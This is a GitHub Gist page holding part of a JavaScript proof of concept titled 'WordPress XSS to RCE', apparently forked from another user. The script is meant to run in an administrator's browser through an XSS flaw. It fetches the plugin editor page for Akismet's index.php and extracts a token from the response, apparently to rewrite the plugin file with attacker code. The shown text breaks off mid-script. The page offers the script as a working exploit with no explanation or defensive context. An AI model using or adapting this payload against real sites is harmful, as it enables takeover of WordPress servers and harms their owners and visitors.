Skip to content

Instantly share code, notes, and snippets.

View tanzz1337's full-sized avatar
🎯
Focusing

syncr0ne1337 tanzz1337

🎯
Focusing
  • Sumatera Selatan
View GitHub Profile
@tanzz1337
tanzz1337 / poc.js
Created June 13, 2024 23:44 — forked from LukaSikic/poc.js
WordPress XSS to RCE
u = "/wp-admin/plugin-editor.php"
p = "file=akismet%2Findex.php&plugin=akismet%2Fakismet.php"
var x = new XMLHttpRequest();
var r=0
x.open('GET',u+"?"+ p,1);
x.send(null);
x.onreadystatechange = function() {
if (x.readyState === 4 && r != 1) {
n = /ate.+".+\s+.+ue="(.*)" \/></.exec(x.responseText)[1]